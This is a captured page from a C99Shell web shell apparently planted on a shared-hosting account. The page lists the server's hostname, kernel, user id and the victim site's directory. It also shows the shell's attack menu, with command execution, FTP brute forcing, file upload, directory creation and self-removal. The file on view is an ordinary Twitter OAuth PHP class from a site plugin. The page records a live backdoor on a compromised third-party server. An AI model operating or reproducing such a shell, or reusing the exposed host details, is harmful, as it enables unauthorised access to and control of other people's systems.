!C99Shell v. 2.0 [PHP 7 Update] [25.02.2019]!

Software: Apache. PHP/5.6.40 

uname -a: Linux cpanel06wh.bkk1.cloud.z.com 2.6.32-954.3.5.lve1.4.80.el6.x86_64 #1 SMP Thu Sep 24
01:42:00 EDT 2020 x86_64
 

uid=851(cp949260) gid=853(cp949260) groups=853(cp949260) 

Safe-mode: OFF (not secure)

/home/cp949260/public_html/phbcoop.com/vendor/rs-plugin/php/twitter/connection/   drwxr-xr-x
Free 235.24 GB of 981.82 GB (23.96%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     User.php (2.46 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php
namespace TwitterPhp\Connection;

class 
User extends Base
{
    
/**
     * @var string
     */
    
private $_consumerKey;

    
/**
     * @var string
     */
    
private $_consumerSecret;

    
/**
     * @var string
     */
    
private $_accessToken;

    
/**
     * @var string
     */
    
private $_accessTokenSecret;

    
/**
     * @param string $consumerKey
     * @param string $consumerSecret
     * @param string $accessToken
     * @param string $accessTokenSecret
     */
    
public function __construct($consumerKey,$consumerSecret,$accessToken,$accessTokenSecret)
    {
        
$this->_consumerKey $consumerKey;
        
$this->_consumerSecret $consumerSecret;
        
$this->_accessToken $accessToken;
        
$this->_accessTokenSecret $accessTokenSecret;
    }

    
/**
     * @param string $url
     * @param array $parameters
     * @param $method
     * @return array
     */
    
protected function _buildHeaders($url,array $parameters null,$method)
    {
        
$oauthHeaders = array(
            
'oauth_version' => '1.0',
            
'oauth_consumer_key' => $this->_consumerKey,
            
'oauth_nonce' => time(),
            
'oauth_signature_method' => 'HMAC-SHA1',
            
'oauth_token' => $this->_accessToken,
            
'oauth_timestamp' => time()
        );

        
$data $oauthHeaders;
        if (
$method == self::METHOD_GET) {
            
$data array_merge($oauthHeaders,$parameters);
        }
        
$oauthHeaders['oauth_signature'] = $this->_buildOauthSignature($url,$data,$method);
        
ksort($oauthHeaders);
        
$oauthHeader = array();

        foreach(
$oauthHeaders as $key => $value) {
            
$oauthHeader[] = $key '="' rawurlencode($value) . '"';
        }

        
$headers[] = 'Authorization: OAuth ' implode(', '$oauthHeader);
        return 
$headers;
    }

    
/**
     * @param $url
     * @param array $params
     * @param $method
     * @return string
     */
    
private function _buildOauthSignature($url,array $params,$method)
    {
        
ksort($params);
        
$sortedParams = array();

        foreach(
$params as $key=>$value) {
            
$sortedParams[] = $key '=' $value;
        }

        
$signatureBaseString =  $method "&" rawurlencode($url) . '&' rawurlencode(implode('&'$sortedParams));
        
$compositeKey rawurlencode($this->_consumerSecret) . '&' rawurlencode($this->_accessTokenSecret);
        return 
base64_encode(hash_hmac('sha1'$signatureBaseString$compositeKeytrue));
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.0 [PHP 7 Update] [25.02.2019] maintained by KaizenLouie | C99Shell Github | Generation time: 0.0113 ]--